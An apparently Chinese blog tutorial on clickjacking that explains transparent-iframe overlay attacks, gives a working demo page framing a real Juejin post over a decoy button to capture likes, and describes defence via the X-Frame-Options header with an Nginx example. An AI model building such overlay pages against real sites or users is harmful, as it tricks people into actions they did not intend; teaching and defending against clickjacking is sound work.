点击劫持攻击

概述

点击劫持攻击(clickjacking)是一种欺诈性攻击方式,攻击者利用透明层让用户在不自知的情况下点击一个隐藏的页面元素。这种攻击可以导致用户无意中批准恶意活动,例如给攻击者的文章点赞或泄露敏感信息。

原理

点击劫持攻击听起来好像很厉害的黑客手段,但是其原理十分简单:

  1. 攻击者首先创建一个含有恶意代码的网页。
  2. 该网页中会包含一个透明的<iframe>元素,这个<iframe>中加载的是目标网站页面。
  3. 攻击者在自己的网页上添加诱饵,例如看起来正常的按钮或链接,它们在位置上与<iframe>中的元素重叠。
  4. 用户在点击诱饵,例如认为自己在进行正常操作时(如"提交"按钮),实际上点击的却是另一个透明<iframe>中的元素,导致攻击者可以捕获点击操作并触发不良动作。

如下图所示,攻击者可能会在灰色按钮上放置一个透明的<iframe>。当用户认为点击的是本网站的按钮时,其实触发了隐藏在<iframe>中的红色按钮。

攻击演示

为了展示点击劫持的效果,我们创建了一个恶意演示页面,并将 iframe 的透明度设置成 0.2。同时假设用户已经登录了掘金,并保持了登录状态,此时任何在恶意网站页面点击按钮操作,都会直接变成了掘金的点赞操作。

代码实现

html 复制代码
<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="UTF-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Document</title>
  <style>
    html,
    body {
      height: 100%;
      padding: 0;
      margin: 0;
      overflow: hidden;
    }

    .iframe {
      width: 100%;
      height: 100%;
      border: 0;
      padding: 0;
      margin: 0;
      opacity: 0.2;
      z-index: 2;
    }

    .box {
      position: fixed;
      left: 168px;
      top: 140px;
      z-index: 0;
    }

    .box .button {
      width: 50px;
      height: 50px;
      border-radius: 50%;
      border: 2px solid #e2e2e2;
      background: #fff;
      color: #333;
      margin: 0;
      padding: 0;
    }
  </style>
</head>

<body>
  <div class="box">
    <button class="button">🐂</button>
  </div>
  <iframe src="https://juejin.cn/post/7332735079162593315" frameborder="0" class="iframe"></iframe>
</body>

</html>

防御攻击

要抵御点击劫持,最有效的方法是使用X-Frame-Options HTTP头。可以在服务器响应中设置,以阻止或允许页面嵌入<iframe>中。

注意 : 它必须设置在 HTTP header 中才有效,在 HTML 设置 <meta> 标签是不生效的。

例如:<meta http-equiv="X-Frame-Options"...> 是没有作用的。

这个 header 包含 3 种值:

  • DENY: 始终禁止在 frame 中显示此页面,即便是同域名下的页面也不允许嵌套。
  • SAMEORIGIN: 只允许与页面同源的<iframe>中显示页面。
  • ALLOW-FROM url: 允许指定域的<iframe>中显示页面(已废弃,不推荐使用)

Nginx 配置示例

nginx 复制代码
location / {
    # 设置 X-Frame-Options
    add_header X-Frame-Options SAMEORIGIN always; 
    # 其他配置...
}

参考资料

  1. OWASP. (n.d.). Clickjacking. www.owasp.org/index.php/C...
  2. Mozilla Developer Network. (n.d.). X-Frame-Options. developer.mozilla.org/en-US/docs/...
  3. Content Security Policy (CSP) - HTTP | MDN. developer.mozilla.org/en-US/docs/...
相关推荐
极客密码5 小时前
感谢雷总!Mimo大模型价值¥659/月的 MAX 套餐,让我免费领到了!
前端·ai编程·claude
深念Y6 小时前
我明白为什么B站没法在浏览器开直播了——Windows Chrome推流踩坑全记录
前端·chrome·webrtc·浏览器·srs·直播·flv
zhangxingchao6 小时前
AI应用开发七:可以替代 RAG 的技术
前端·人工智能·后端
Sun@happy6 小时前
现代 Web 前端渗透——基础篇(1)
前端·web安全
希冀1237 小时前
【CSS学习第十一篇】
前端·css·学习
隔窗听雨眠7 小时前
doctype、charset、meta如何控制整个渲染流水线
java·服务器·前端
kyriewen7 小时前
写组件文档写到吐?我用AI自动生成Storybook,同事以后直接抄
前端·javascript·面试
excel7 小时前
🧠 Prisma 表名大写 vs SQL 导出小写问题深度解析(附踩坑与解决方案)
前端·后端
周淳APP7 小时前
【前端工程化原理通识:从源头到运行时的理论阐述】
前端·编译·打包·前端工程化
五点六六六8 小时前
你敢信这是非Native页面写出来的渐变效果吗🌝(底层原理解析
前端·javascript·面试